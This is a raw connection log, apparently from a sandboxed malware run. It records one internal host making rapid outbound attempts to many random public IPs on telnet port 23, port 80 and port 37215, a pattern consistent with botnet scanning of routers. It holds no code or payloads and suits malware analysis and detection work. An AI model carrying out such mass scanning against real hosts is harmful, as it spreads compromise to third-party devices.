Jan 5, 2025 14:34:52.845362902 CET	44544	37215	192.168.2.13	156.58.186.145
Jan 5, 2025 14:34:52.846190929 CET	34682	80	192.168.2.13	96.120.65.61
Jan 5, 2025 14:34:52.847215891 CET	54788	37215	192.168.2.13	156.222.140.232
Jan 5, 2025 14:34:52.847815990 CET	60698	80	192.168.2.13	14.97.135.180
Jan 5, 2025 14:34:52.848180056 CET	55994	23	192.168.2.13	124.249.59.186
Jan 5, 2025 14:34:52.848181009 CET	55278	23	192.168.2.13	174.99.165.96
Jan 5, 2025 14:34:52.848186016 CET	56522	23	192.168.2.13	88.49.37.108
Jan 5, 2025 14:34:52.848186016 CET	58640	23	192.168.2.13	116.62.184.45
Jan 5, 2025 14:34:52.848186016 CET	57844	23	192.168.2.13	216.73.220.29
Jan 5, 2025 14:34:52.848189116 CET	50116	23	192.168.2.13	165.27.223.215
Jan 5, 2025 14:34:52.848186016 CET	36216	23	192.168.2.13	42.206.9.68
Jan 5, 2025 14:34:52.848191977 CET	40856	23	192.168.2.13	94.239.228.202
Jan 5, 2025 14:34:52.848196030 CET	43696	23	192.168.2.13	189.210.252.131
Jan 5, 2025 14:34:52.848196030 CET	52848	23	192.168.2.13	176.62.17.197
Jan 5, 2025 14:34:52.848206043 CET	34204	23	192.168.2.13	117.41.8.6
Jan 5, 2025 14:34:52.848211050 CET	41162	23	192.168.2.13	23.252.32.13
Jan 5, 2025 14:34:52.848212004 CET	33814	23	192.168.2.13	159.228.21.229
Jan 5, 2025 14:34:52.848213911 CET	48588	23	192.168.2.13	89.187.214.24
Jan 5, 2025 14:34:52.848213911 CET	60026	23	192.168.2.13	172.137.92.232
Jan 5, 2025 14:34:52.848216057 CET	45200	23	192.168.2.13	161.107.126.215
Jan 5, 2025 14:34:52.848227024 CET	44874	23	192.168.2.13	196.85.151.212
Jan 5, 2025 14:34:52.848228931 CET	41584	23	192.168.2.13	77.212.251.73
Jan 5, 2025 14:34:52.848236084 CET	54366	23	192.168.2.13	193.138.201.14
Jan 5, 2025 14:34:52.848635912 CET	37215	35934	197.169.104.42	192.168.2.13
Jan 5, 2025 14:34:52.848673105 CET	35934	37215	192.168.2.13	197.169.104.42
Jan 5, 2025 14:34:52.849030018 CET	55666	37215	192.168.2.13	156.98.107.139
Jan 5, 2025 14:34:52.849778891 CET	56164	80	192.168.2.13	207.181.173.59
Jan 5, 2025 14:34:52.850630045 CET	49640	37215	192.168.2.13	197.144.181.13
Jan 5, 2025 14:34:52.851814032 CET	41606	80	192.168.2.13	160.138.100.144
Jan 5, 2025 14:34:52.852456093 CET	54418	37215	192.168.2.13	41.14.205.117
Jan 5, 2025 14:34:52.853871107 CET	53460	80	192.168.2.13	187.2.59.252
Jan 5, 2025 14:34:52.854408979 CET	38762	37215	192.168.2.13	41.124.152.186
Jan 5, 2025 14:34:52.855947971 CET	46086	80	192.168.2.13	160.116.38.154
Jan 5, 2025 14:34:52.856061935 CET	40482	37215	192.168.2.13	156.49.159.92
Jan 5, 2025 14:34:52.857814074 CET	44840	37215	192.168.2.13	197.80.106.248
Jan 5, 2025 14:34:52.858113050 CET	51156	80	192.168.2.13	132.2.243.211
Jan 5, 2025 14:34:52.859607935 CET	42336	37215	192.168.2.13	156.33.35.45
Jan 5, 2025 14:34:52.859839916 CET	44224	80	192.168.2.13	78.220.83.21
Jan 5, 2025 14:34:52.860780001 CET	80	46086	160.116.38.154	192.168.2.13
Jan 5, 2025 14:34:52.860825062 CET	46086	80	192.168.2.13	160.116.38.154
Jan 5, 2025 14:34:52.861125946 CET	34294	37215	192.168.2.13	197.196.218.213
Jan 5, 2025 14:34:52.861674070 CET	43106	80	192.168.2.13	178.160.234.244
Jan 5, 2025 14:34:52.862792969 CET	41142	37215	192.168.2.13	156.96.241.84
Jan 5, 2025 14:34:52.863588095 CET	50644	80	192.168.2.13	167.80.67.59
Jan 5, 2025 14:34:52.864435911 CET	43084	37215	192.168.2.13	197.116.93.148
Jan 5, 2025 14:34:52.865500927 CET	56204	80	192.168.2.13	1.217.177.101
Jan 5, 2025 14:34:52.866282940 CET	57750	37215	192.168.2.13	41.69.215.93
Jan 5, 2025 14:34:52.867355108 CET	51012	80	192.168.2.13	102.130.92.204
Jan 5, 2025 14:34:52.867670059 CET	40178	37215	192.168.2.13	197.232.51.110
Jan 5, 2025 14:34:52.868400097 CET	80	50644	167.80.67.59	192.168.2.13
Jan 5, 2025 14:34:52.868438005 CET	50644	80	192.168.2.13	167.80.67.59
Jan 5, 2025 14:34:52.869221926 CET	35702	80	192.168.2.13	210.5.76.127
Jan 5, 2025 14:34:52.869316101 CET	59016	37215	192.168.2.13	156.195.220.109
Jan 5, 2025 14:34:52.870944977 CET	57544	37215	192.168.2.13	156.9.55.72
Jan 5, 2025 14:34:52.871067047 CET	36922	80	192.168.2.13	166.179.233.91
Jan 5, 2025 14:34:52.872721910 CET	41384	37215	192.168.2.13	41.145.125.29
Jan 5, 2025 14:34:52.873003006 CET	39168	80	192.168.2.13	69.206.208.139
Jan 5, 2025 14:34:52.874242067 CET	55202	37215	192.168.2.13	41.6.193.156
Jan 5, 2025 14:34:52.874869108 CET	48556	80	192.168.2.13	188.97.0.189
Jan 5, 2025 14:34:52.876074076 CET	47552	37215	192.168.2.13	156.141.101.219
Jan 5, 2025 14:34:52.876852989 CET	44042	80	192.168.2.13	85.21.168.38
Jan 5, 2025 14:34:52.877883911 CET	44382	37215	192.168.2.13	41.187.93.226
Jan 5, 2025 14:34:52.878473043 CET	50634	80	192.168.2.13	157.0.75.117
Jan 5, 2025 14:34:52.879563093 CET	46364	37215	192.168.2.13	156.16.23.0
Jan 5, 2025 14:34:52.880165100 CET	35548	23	192.168.2.13	17.135.91.220
Jan 5, 2025 14:34:52.880163908 CET	55160	23	192.168.2.13	82.114.48.162
Jan 5, 2025 14:34:52.880175114 CET	57670	23	192.168.2.13	191.166.58.189
Jan 5, 2025 14:34:52.880177975 CET	51592	23	192.168.2.13	136.77.55.253
Jan 5, 2025 14:34:52.880183935 CET	59646	23	192.168.2.13	84.19.213.225
Jan 5, 2025 14:34:52.880191088 CET	35384	23	192.168.2.13	119.98.226.210
Jan 5, 2025 14:34:52.880203962 CET	50306	23	192.168.2.13	18.35.143.196
Jan 5, 2025 14:34:52.880209923 CET	46964	23	192.168.2.13	69.238.78.79
Jan 5, 2025 14:34:52.880209923 CET	36564	23	192.168.2.13	188.42.65.65
Jan 5, 2025 14:34:52.880211115 CET	53486	23	192.168.2.13	157.159.238.248
Jan 5, 2025 14:34:52.880212069 CET	41898	23	192.168.2.13	223.130.156.254
Jan 5, 2025 14:34:52.880218029 CET	41678	23	192.168.2.13	141.166.199.240
Jan 5, 2025 14:34:52.880218983 CET	45276	23	192.168.2.13	113.1.234.68
Jan 5, 2025 14:34:52.880227089 CET	50860	23	192.168.2.13	120.177.111.158
Jan 5, 2025 14:34:52.880227089 CET	55768	23	192.168.2.13	84.160.137.155
Jan 5, 2025 14:34:52.880233049 CET	43598	23	192.168.2.13	209.167.167.43
Jan 5, 2025 14:34:52.880238056 CET	41798	23	192.168.2.13	164.163.92.248
Jan 5, 2025 14:34:52.880244970 CET	33598	23	192.168.2.13	71.72.102.221
Jan 5, 2025 14:34:52.880254984 CET	45360	23	192.168.2.13	95.137.136.0
Jan 5, 2025 14:34:52.880290031 CET	34882	23	192.168.2.13	69.102.43.202
Jan 5, 2025 14:34:52.880311966 CET	48284	80	192.168.2.13	17.219.220.32
Jan 5, 2025 14:34:52.880343914 CET	53708	23	192.168.2.13	70.6.210.210
Jan 5, 2025 14:34:52.880932093 CET	37215	47552	156.141.101.219	192.168.2.13
Jan 5, 2025 14:34:52.880985022 CET	47552	37215	192.168.2.13	156.141.101.219
Jan 5, 2025 14:34:52.881078959 CET	42218	37215	192.168.2.13	197.82.230.55
Jan 5, 2025 14:34:52.882374048 CET	33756	80	192.168.2.13	174.193.240.193
Jan 5, 2025 14:34:52.883004904 CET	51960	37215	192.168.2.13	156.88.186.105
Jan 5, 2025 14:34:52.884306908 CET	47258	80	192.168.2.13	191.71.162.219
Jan 5, 2025 14:34:52.884563923 CET	52150	37215	192.168.2.13	41.194.144.29
Jan 5, 2025 14:34:52.886336088 CET	52848	80	192.168.2.13	153.20.1.20
Jan 5, 2025 14:34:52.886569023 CET	53566	37215	192.168.2.13	41.8.74.192
Jan 5, 2025 14:34:52.888098955 CET	36358	37215	192.168.2.13	197.119.132.14
Jan 5, 2025 14:34:52.888221979 CET	43792	80	192.168.2.13	223.76.76.80
Jan 5, 2025 14:34:52.889183998 CET	80	47258	191.71.162.219	192.168.2.13
Jan 5, 2025 14:34:52.889251947 CET	47258	80	192.168.2.13	191.71.162.219
Jan 5, 2025 14:34:52.891673088 CET	54868	37215	192.168.2.13	197.196.5.50
Jan 5, 2025 14:34:52.891941071 CET	53088	80	192.168.2.13	113.229.189.168
Jan 5, 2025 14:34:52.893416882 CET	36554	37215	192.168.2.13	41.205.3.80
Jan 5, 2025 14:34:52.894095898 CET	58858	80	192.168.2.13	31.80.239.115
Jan 5, 2025 14:34:52.895272017 CET	34522	37215	192.168.2.13	41.93.85.8
Jan 5, 2025 14:34:52.896015882 CET	54932	80	192.168.2.13	196.192.115.255
Jan 5, 2025 14:34:52.897006989 CET	36202	37215	192.168.2.13	156.122.87.248
Jan 5, 2025 14:34:52.897736073 CET	43000	80	192.168.2.13	133.103.30.246
Jan 5, 2025 14:34:52.898603916 CET	44712	37215	192.168.2.13	156.29.43.93
Jan 5, 2025 14:34:52.899661064 CET	38936	80	192.168.2.13	41.22.54.60
Jan 5, 2025 14:34:52.900388956 CET	43788	37215	192.168.2.13	41.252.167.172
Jan 5, 2025 14:34:52.900780916 CET	80	54932	196.192.115.255	192.168.2.13
Jan 5, 2025 14:34:52.900819063 CET	54932	80	192.168.2.13	196.192.115.255
Jan 5, 2025 14:34:52.901266098 CET	41778	80	192.168.2.13	120.75.215.22
Jan 5, 2025 14:34:52.902054071 CET	55170	37215	192.168.2.13	197.1.145.201
Jan 5, 2025 14:34:52.903223038 CET	36752	80	192.168.2.13	165.11.0.69
Jan 5, 2025 14:34:52.904128075 CET	46538	37215	192.168.2.13	156.229.176.50
Jan 5, 2025 14:34:52.905270100 CET	56866	80	192.168.2.13	145.213.212.153
Jan 5, 2025 14:34:52.905628920 CET	36896	37215	192.168.2.13	41.129.168.255
Jan 5, 2025 14:34:52.907130957 CET	51272	80	192.168.2.13	189.52.205.193
Jan 5, 2025 14:34:52.907342911 CET	37602	37215	192.168.2.13	41.108.41.195
Jan 5, 2025 14:34:52.908829927 CET	44626	37215	192.168.2.13	156.107.222.143
Jan 5, 2025 14:34:52.908956051 CET	43590	80	192.168.2.13	180.233.33.135
Jan 5, 2025 14:34:52.908982992 CET	37215	46538	156.229.176.50	192.168.2.13
Jan 5, 2025 14:34:52.909029961 CET	46538	37215	192.168.2.13	156.229.176.50
Jan 5, 2025 14:34:52.910604000 CET	43322	37215	192.168.2.13	156.40.240.210
Jan 5, 2025 14:34:52.910756111 CET	52078	80	192.168.2.13	89.14.126.235
Jan 5, 2025 14:34:52.912157059 CET	44832	23	192.168.2.13	168.97.13.213
Jan 5, 2025 14:34:52.912163019 CET	35594	23	192.168.2.13	64.110.223.253
Jan 5, 2025 14:34:52.912163019 CET	42694	23	192.168.2.13	191.28.203.118
Jan 5, 2025 14:34:52.912166119 CET	57260	23	192.168.2.13	133.130.255.226
Jan 5, 2025 14:34:52.912180901 CET	34082	23	192.168.2.13	34.34.62.125
Jan 5, 2025 14:34:52.912180901 CET	42442	23	192.168.2.13	133.16.187.164
Jan 5, 2025 14:34:52.912180901 CET	47788	23	192.168.2.13	20.105.176.211
Jan 5, 2025 14:34:52.912189007 CET	43574	23	192.168.2.13	164.69.214.149
Jan 5, 2025 14:34:52.912189007 CET	45558	23	192.168.2.13	207.178.143.202
Jan 5, 2025 14:34:52.912193060 CET	49888	23	192.168.2.13	157.119.15.147
Jan 5, 2025 14:34:52.912195921 CET	39338	23	192.168.2.13	138.36.223.72
Jan 5, 2025 14:34:52.912199020 CET	59986	23	192.168.2.13	72.176.82.174
Jan 5, 2025 14:34:52.912203074 CET	42394	23	192.168.2.13	135.20.8.103
Jan 5, 2025 14:34:52.912203074 CET	41524	23	192.168.2.13	70.17.146.154
Jan 5, 2025 14:34:52.912203074 CET	45944	23	192.168.2.13	110.23.108.178
Jan 5, 2025 14:34:52.912205935 CET	40198	23	192.168.2.13	204.126.194.150
Jan 5, 2025 14:34:52.912206888 CET	36238	23	192.168.2.13	160.55.88.43
Jan 5, 2025 14:34:52.912206888 CET	33764	23	192.168.2.13	35.234.113.178
Jan 5, 2025 14:34:52.912209034 CET	40350	23	192.168.2.13	69.53.157.205
Jan 5, 2025 14:34:52.912209988 CET	38054	23	192.168.2.13	67.124.151.66
Jan 5, 2025 14:34:52.912210941 CET	35926	23	192.168.2.13	77.153.239.134
Jan 5, 2025 14:34:52.912210941 CET	47884	23	192.168.2.13	75.65.77.94
Jan 5, 2025 14:34:52.912210941 CET	46138	23	192.168.2.13	148.231.139.46
Jan 5, 2025 14:34:52.912210941 CET	51224	23	192.168.2.13	118.244.137.53
Jan 5, 2025 14:34:52.912481070 CET	57032	37215	192.168.2.13	156.14.137.61
Jan 5, 2025 14:34:52.912714958 CET	46668	80	192.168.2.13	130.235.117.29
Jan 5, 2025 14:34:52.914211035 CET	37410	37215	192.168.2.13	41.225.127.84
Jan 5, 2025 14:34:52.914431095 CET	55696	80	192.168.2.13	82.188.144.25
Jan 5, 2025 14:34:52.915740967 CET	44110	37215	192.168.2.13	156.58.77.185
Jan 5, 2025 14:34:52.916341066 CET	55648	80	192.168.2.13	5.242.128.66
Jan 5, 2025 14:34:52.917330027 CET	52716	37215	192.168.2.13	156.48.66.60
Jan 5, 2025 14:34:52.918066978 CET	38346	80	192.168.2.13	72.135.25.4
Jan 5, 2025 14:34:52.919025898 CET	53934	37215	192.168.2.13	156.39.54.175
Jan 5, 2025 14:34:52.919727087 CET	44740	80	192.168.2.13	146.153.158.241
Jan 5, 2025 14:34:52.920588970 CET	37215	44110	156.58.77.185	192.168.2.13
Jan 5, 2025 14:34:52.920638084 CET	44110	37215	192.168.2.13	156.58.77.185
Jan 5, 2025 14:34:52.920680046 CET	45510	80	192.168.2.13	180.209.26.214
Jan 5, 2025 14:34:52.921533108 CET	50552	80	192.168.2.13	222.19.206.23
Jan 5, 2025 14:34:52.922324896 CET	49946	80	192.168.2.13	72.112.109.189
Jan 5, 2025 14:34:52.923181057 CET	57602	80	192.168.2.13	25.235.168.148
Jan 5, 2025 14:34:52.924034119 CET	57274	80	192.168.2.13	154.179.240.225
Jan 5, 2025 14:34:52.925385952 CET	33894	80	192.168.2.13	53.224.127.117
Jan 5, 2025 14:34:52.926239014 CET	46486	80	192.168.2.13	181.212.202.37
Jan 5, 2025 14:34:52.927197933 CET	43288	80	192.168.2.13	2.79.91.42
Jan 5, 2025 14:34:52.927943945 CET	44368	80	192.168.2.13	37.214.232.61
Jan 5, 2025 14:34:52.928785086 CET	80	57274	154.179.240.225	192.168.2.13
Jan 5, 2025 14:34:52.928822041 CET	57274	80	192.168.2.13	154.179.240.225
Jan 5, 2025 14:34:52.928915024 CET	44304	80	192.168.2.13	138.54.10.162
Jan 5, 2025 14:34:52.929691076 CET	50828	80	192.168.2.13	99.2.140.201
Jan 5, 2025 14:34:52.930504084 CET	37260	80	192.168.2.13	143.189.106.192
Jan 5, 2025 14:34:52.931441069 CET	59110	80	192.168.2.13	194.42.246.90
Jan 5, 2025 14:34:52.932317019 CET	43054	80	192.168.2.13	188.234.143.250
Jan 5, 2025 14:34:52.933033943 CET	59542	37215	192.168.2.13	197.223.211.120
Jan 5, 2025 14:34:52.934096098 CET	58112	80	192.168.2.13	48.250.215.171
Jan 5, 2025 14:34:52.934632063 CET	41406	37215	192.168.2.13	156.177.58.141
Jan 5, 2025 14:34:52.935729980 CET	49294	80	192.168.2.13	172.222.47.240
Jan 5, 2025 14:34:52.936470032 CET	52292	37215	192.168.2.13	41.77.204.216
Jan 5, 2025 14:34:52.937438011 CET	44664	80	192.168.2.13	202.226.133.66
Jan 5, 2025 14:34:52.938076973 CET	42272	37215	192.168.2.13	197.235.231.188
Jan 5, 2025 14:34:52.939296961 CET	39162	80	192.168.2.13	101.16.6.46
Jan 5, 2025 14:34:52.939671993 CET	38410	37215	192.168.2.13	41.59.164.56
Jan 5, 2025 14:34:52.940545082 CET	80	49294	172.222.47.240	192.168.2.13
Jan 5, 2025 14:34:52.940587997 CET	49294	80	192.168.2.13	172.222.47.240
Jan 5, 2025 14:34:52.941150904 CET	47546	80	192.168.2.13	220.83.51.33
Jan 5, 2025 14:34:52.941263914 CET	34268	37215	192.168.2.13	197.79.235.221
Jan 5, 2025 14:34:52.942730904 CET	39364	80	192.168.2.13	128.196.3.237
Jan 5, 2025 14:34:52.942836046 CET	57558	37215	192.168.2.13	156.218.70.221
Jan 5, 2025 14:34:52.944144964 CET	35908	23	192.168.2.13	84.81.61.163
Jan 5, 2025 14:34:52.944153070 CET	35832	23	192.168.2.13	53.94.45.161
Jan 5, 2025 14:34:52.944164038 CET	47414	23	192.168.2.13	117.211.174.252
Jan 5, 2025 14:34:52.944171906 CET	60274	23	192.168.2.13	200.5.75.161
Jan 5, 2025 14:34:52.944171906 CET	51672	23	192.168.2.13	25.88.34.154
Jan 5, 2025 14:34:52.944183111 CET	38976	23	192.168.2.13	201.200.28.86
Jan 5, 2025 14:34:52.944190025 CET	35070	23	192.168.2.13	124.184.168.141
Jan 5, 2025 14:34:52.944190025 CET	56576	23	192.168.2.13	117.202.251.54
Jan 5, 2025 14:34:52.944190979 CET	43148	23	192.168.2.13	45.192.98.116
Jan 5, 2025 14:34:52.944195986 CET	38446	23	192.168.2.13	173.34.108.81
Jan 5, 2025 14:34:52.944199085 CET	59574	23	192.168.2.13	113.246.89.170
Jan 5, 2025 14:34:52.944200993 CET	41674	23	192.168.2.13	193.221.3.204
Jan 5, 2025 14:34:52.944200993 CET	55508	23	192.168.2.13	206.170.148.214
Jan 5, 2025 14:34:52.944210052 CET	40902	23	192.168.2.13	159.34.126.131
Jan 5, 2025 14:34:52.944214106 CET	52142	23	192.168.2.13	137.2.203.113
Jan 5, 2025 14:34:52.944214106 CET	45336	23	192.168.2.13	17.71.221.122
Jan 5, 2025 14:34:52.944217920 CET	59084	23	192.168.2.13	80.75.34.72
Jan 5, 2025 14:34:52.944221973 CET	33072	23	192.168.2.13	185.149.71.50
Jan 5, 2025 14:34:52.944226980 CET	34876	23	192.168.2.13	141.206.189.98
Jan 5, 2025 14:34:52.944231987 CET	60026	23	192.168.2.13	126.67.151.215
Jan 5, 2025 14:34:52.944233894 CET	39374	23	192.168.2.13	167.103.135.156
Jan 5, 2025 14:34:52.944238901 CET	42902	23	192.168.2.13	170.34.2.47
Jan 5, 2025 14:34:52.944246054 CET	53744	23	192.168.2.13	67.20.221.51
Jan 5, 2025 14:34:52.944246054 CET	40636	23	192.168.2.13	75.59.253.228
Jan 5, 2025 14:34:52.944248915 CET	51828	23	192.168.2.13	19.66.193.236
Jan 5, 2025 14:34:52.944252968 CET	49012	23	192.168.2.13	59.254.232.109
Jan 5, 2025 14:34:52.944252968 CET	44458	23	192.168.2.13	38.238.163.136
Jan 5, 2025 14:34:52.944252968 CET	45036	23	192.168.2.13	67.157.1.194
Jan 5, 2025 14:34:52.944263935 CET	41036	23	192.168.2.13	103.165.122.61
Jan 5, 2025 14:34:52.944271088 CET	55496	23	192.168.2.13	85.198.247.101
Jan 5, 2025 14:34:52.944272041 CET	34562	23	192.168.2.13	175.101.166.97
Jan 5, 2025 14:34:52.944436073 CET	41164	80	192.168.2.13	1.166.123.153
Jan 5, 2025 14:34:52.944659948 CET	38366	37215	192.168.2.13	156.239.243.85
Jan 5, 2025 14:34:52.946065903 CET	60924	37215	192.168.2.13	41.239.146.28
Jan 5, 2025 14:34:52.946212053 CET	40760	80	192.168.2.13	32.252.123.78
Jan 5, 2025 14:34:52.947506905 CET	41958	37215	192.168.2.13	197.41.240.1
Jan 5, 2025 14:34:52.948259115 CET	56260	37215	192.168.2.13	41.115.244.235
Jan 5, 2025 14:34:52.948982954 CET	23	35908	84.81.61.163	192.168.2.13
Jan 5, 2025 14:34:52.949022055 CET	35908	23	192.168.2.13	84.81.61.163
Jan 5, 2025 14:34:52.949119091 CET	34644	37215	192.168.2.13	156.12.177.37
Jan 5, 2025 14:34:52.949930906 CET	47462	37215	192.168.2.13	41.254.132.251
Jan 5, 2025 14:34:52.950664997 CET	44144	37215	192.168.2.13	197.114.127.230
Jan 5, 2025 14:34:52.951415062 CET	54762	37215	192.168.2.13	156.159.243.29
Jan 5, 2025 14:34:52.952265978 CET	46378	37215	192.168.2.13	197.141.89.168
Jan 5, 2025 14:34:52.953052998 CET	48174	37215	192.168.2.13	41.211.66.43
Jan 5, 2025 14:34:52.953843117 CET	38632	37215	192.168.2.13	156.156.115.92
Jan 5, 2025 14:34:52.954684973 CET	43574	37215	192.168.2.13	197.82.252.50
Jan 5, 2025 14:34:52.955430031 CET	39302	37215	192.168.2.13	41.56.98.126
Jan 5, 2025 14:34:52.956221104 CET	59822	37215	192.168.2.13	156.70.241.187
Jan 5, 2025 14:34:52.956959009 CET	46284	37215	192.168.2.13	41.162.125.242
Jan 5, 2025 14:34:52.957672119 CET	49686	37215	192.168.2.13	197.200.61.43
Jan 5, 2025 14:34:52.958444118 CET	46822	37215	192.168.2.13	197.48.85.53
Jan 5, 2025 14:34:52.959244013 CET	55266	37215	192.168.2.13	197.146.203.197
Jan 5, 2025 14:34:52.959956884 CET	44498	37215	192.168.2.13	41.125.40.90
Jan 5, 2025 14:34:52.960196018 CET	37215	39302	41.56.98.126	192.168.2.13
Jan 5, 2025 14:34:52.960232019 CET	39302	37215	192.168.2.13	41.56.98.126
Jan 5, 2025 14:34:52.960711002 CET	48634	37215	192.168.2.13	197.64.10.196
Jan 5, 2025 14:34:52.961488962 CET	57684	37215	192.168.2.13	41.217.239.46
Jan 5, 2025 14:34:52.962217093 CET	46148	37215	192.168.2.13	197.238.159.217
Jan 5, 2025 14:34:52.962924957 CET	49258	37215	192.168.2.13	197.67.199.62
Jan 5, 2025 14:34:52.963653088 CET	38462	37215	192.168.2.13	41.86.194.51
Jan 5, 2025 14:34:52.964380980 CET	49548	37215	192.168.2.13	41.233.14.118
Jan 5, 2025 14:34:52.965092897 CET	54896	37215	192.168.2.13	41.221.255.134
Jan 5, 2025 14:34:52.965802908 CET	51864	37215	192.168.2.13	41.251.157.134
Jan 5, 2025 14:34:52.966634989 CET	50798	37215	192.168.2.13	41.89.219.57
Jan 5, 2025 14:34:52.967380047 CET	47408	37215	192.168.2.13	41.76.197.246
Jan 5, 2025 14:34:52.968138933 CET	32996	37215	192.168.2.13	41.216.120.57
Jan 5, 2025 14:34:52.968461990 CET	37215	38462	41.86.194.51	192.168.2.13
Jan 5, 2025 14:34:52.968498945 CET	38462	37215	192.168.2.13	41.86.194.51
Jan 5, 2025 14:34:52.968969107 CET	56384	37215	192.168.2.13	41.54.8.17
Jan 5, 2025 14:34:52.969712019 CET	37828	37215	192.168.2.13	41.9.116.52
Jan 5, 2025 14:34:52.970590115 CET	42496	37215	192.168.2.13	156.208.181.83
Jan 5, 2025 14:34:52.971343040 CET	55714	37215	192.168.2.13	197.178.121.129
Jan 5, 2025 14:34:52.972125053 CET	59666	37215	192.168.2.13	197.216.74.12
Jan 5, 2025 14:34:52.973009109 CET	34564	80	192.168.2.13	44.218.91.191
Jan 5, 2025 14:34:52.973583937 CET	41862	37215	192.168.2.13	197.47.93.30
Jan 5, 2025 14:34:52.974713087 CET	36798	80	192.168.2.13	99.158.62.56
Jan 5, 2025 14:34:52.975512028 CET	51950	37215	192.168.2.13	156.139.201.209
Jan 5, 2025 14:34:52.976155043 CET	37754	23	192.168.2.13	164.245.203.110
Jan 5, 2025 14:34:52.976180077 CET	58244	23	192.168.2.13	116.181.72.250
Jan 5, 2025 14:34:52.976547003 CET	51188	80	192.168.2.13	166.95.170.63
Jan 5, 2025 14:34:52.977257967 CET	38130	37215	192.168.2.13	41.1.36.164
Jan 5, 2025 14:34:52.978087902 CET	43508	80	192.168.2.13	186.201.209.50
Jan 5, 2025 14:34:52.979152918 CET	49618	37215	192.168.2.13	197.236.183.229
Jan 5, 2025 14:34:52.979892969 CET	59550	80	192.168.2.13	207.215.212.22
Jan 5, 2025 14:34:52.980261087 CET	37215	51950	156.139.201.209	192.168.2.13
Jan 5, 2025 14:34:52.980300903 CET	51950	37215	192.168.2.13	156.139.201.209
Jan 5, 2025 14:34:52.980936050 CET	49682	37215	192.168.2.13	197.87.130.235
Jan 5, 2025 14:34:52.981756926 CET	56704	80	192.168.2.13	164.138.201.158
Jan 5, 2025 14:34:52.983143091 CET	58392	37215	192.168.2.13	156.89.118.79
Jan 5, 2025 14:34:52.983949900 CET	47698	80	192.168.2.13	125.253.31.3
Jan 5, 2025 14:34:52.984966040 CET	52366	37215	192.168.2.13	197.154.90.231
Jan 5, 2025 14:34:52.985774994 CET	35398	80	192.168.2.13	77.65.24.19
Jan 5, 2025 14:34:52.986792088 CET	38202	37215	192.168.2.13	156.108.22.113
Jan 5, 2025 14:34:52.987452030 CET	58880	80	192.168.2.13	219.54.10.214
Jan 5, 2025 14:34:52.988565922 CET	44028	37215	192.168.2.13	41.113.191.2
Jan 5, 2025 14:34:52.988743067 CET	80	47698	125.253.31.3	192.168.2.13
Jan 5, 2025 14:34:52.988804102 CET	47698	80	192.168.2.13	125.253.31.3
Jan 5, 2025 14:34:52.989284992 CET	36864	80	192.168.2.13	155.5.153.138
Jan 5, 2025 14:34:52.990295887 CET	53136	37215	192.168.2.13	197.158.241.228
Jan 5, 2025 14:34:52.990933895 CET	43740	80	192.168.2.13	175.183.46.240
Jan 5, 2025 14:34:52.992142916 CET	38390	37215	192.168.2.13	156.110.194.105
Jan 5, 2025 14:34:52.992795944 CET	50498	80	192.168.2.13	42.79.20.150
Jan 5, 2025 14:34:52.993556976 CET	29479	37215	192.168.2.13	41.184.94.239
Jan 5, 2025 14:34:52.993556976 CET	29479	37215	192.168.2.13	197.235.106.137
Jan 5, 2025 14:34:52.993567944 CET	29479	37215	192.168.2.13	156.253.254.130
Jan 5, 2025 14:34:52.993568897 CET	29479	37215	192.168.2.13	156.88.253.163
Jan 5, 2025 14:34:52.993575096 CET	29479	37215	192.168.2.13	156.96.142.113
Jan 5, 2025 14:34:52.993581057 CET	29479	37215	192.168.2.13	156.222.38.209
Jan 5, 2025 14:34:52.993598938 CET	29479	37215	192.168.2.13	197.237.234.41
Jan 5, 2025 14:34:52.993598938 CET	29479	37215	192.168.2.13	156.30.88.110
Jan 5, 2025 14:34:52.993598938 CET	29479	37215	192.168.2.13	156.58.184.123
Jan 5, 2025 14:34:52.993598938 CET	29479	37215	192.168.2.13	41.206.136.32
Jan 5, 2025 14:34:52.993603945 CET	29479	37215	192.168.2.13	197.66.190.103
Jan 5, 2025 14:34:52.993603945 CET	29479	37215	192.168.2.13	156.167.126.25
Jan 5, 2025 14:34:52.993622065 CET	29479	37215	192.168.2.13	156.68.144.13
Jan 5, 2025 14:34:52.993629932 CET	29479	37215	192.168.2.13	156.230.137.144
Jan 5, 2025 14:34:52.993629932 CET	29479	37215	192.168.2.13	156.188.129.12
Jan 5, 2025 14:34:52.993633986 CET	29479	37215	192.168.2.13	156.172.177.150
Jan 5, 2025 14:34:52.993638039 CET	29479	37215	192.168.2.13	41.167.174.18
Jan 5, 2025 14:34:52.993638039 CET	29479	37215	192.168.2.13	197.77.120.235
Jan 5, 2025 14:34:52.993649006 CET	29479	37215	192.168.2.13	197.197.8.111
Jan 5, 2025 14:34:52.993659973 CET	29479	37215	192.168.2.13	156.9.199.81
Jan 5, 2025 14:34:52.993670940 CET	29479	37215	192.168.2.13	197.176.227.59
Jan 5, 2025 14:34:52.993670940 CET	29479	37215	192.168.2.13	41.251.218.66
Jan 5, 2025 14:34:52.993673086 CET	29479	37215	192.168.2.13	41.193.11.31
Jan 5, 2025 14:34:52.993678093 CET	29479	37215	192.168.2.13	197.144.16.197
Jan 5, 2025 14:34:52.993690014 CET	29479	37215	192.168.2.13	156.125.209.82
Jan 5, 2025 14:34:52.993690014 CET	29479	37215	192.168.2.13	156.196.95.28
Jan 5, 2025 14:34:52.993690014 CET	29479	37215	192.168.2.13	156.10.204.199
Jan 5, 2025 14:34:52.993690014 CET	29479	37215	192.168.2.13	41.12.17.23
Jan 5, 2025 14:34:52.993695974 CET	29479	37215	192.168.2.13	156.103.168.6
Jan 5, 2025 14:34:52.993695974 CET	29479	37215	192.168.2.13	41.207.79.78
Jan 5, 2025 14:34:52.993705988 CET	29479	37215	192.168.2.13	41.216.209.31
Jan 5, 2025 14:34:52.993714094 CET	29479	37215	192.168.2.13	197.59.42.184
Jan 5, 2025 14:34:52.993722916 CET	29479	37215	192.168.2.13	41.122.13.255
Jan 5, 2025 14:34:52.993722916 CET	29479	37215	192.168.2.13	156.61.186.77
Jan 5, 2025 14:34:52.993735075 CET	29479	37215	192.168.2.13	197.150.139.34
Jan 5, 2025 14:34:52.993736982 CET	29479	37215	192.168.2.13	197.64.27.211
Jan 5, 2025 14:34:52.993736982 CET	29479	37215	192.168.2.13	41.133.64.86
Jan 5, 2025 14:34:52.993736982 CET	29479	37215	192.168.2.13	156.40.253.118
Jan 5, 2025 14:34:52.993741035 CET	29479	37215	192.168.2.13	156.51.28.210
Jan 5, 2025 14:34:52.993741035 CET	29479	37215	192.168.2.13	197.82.111.182
Jan 5, 2025 14:34:52.993746996 CET	29479	37215	192.168.2.13	156.172.63.231
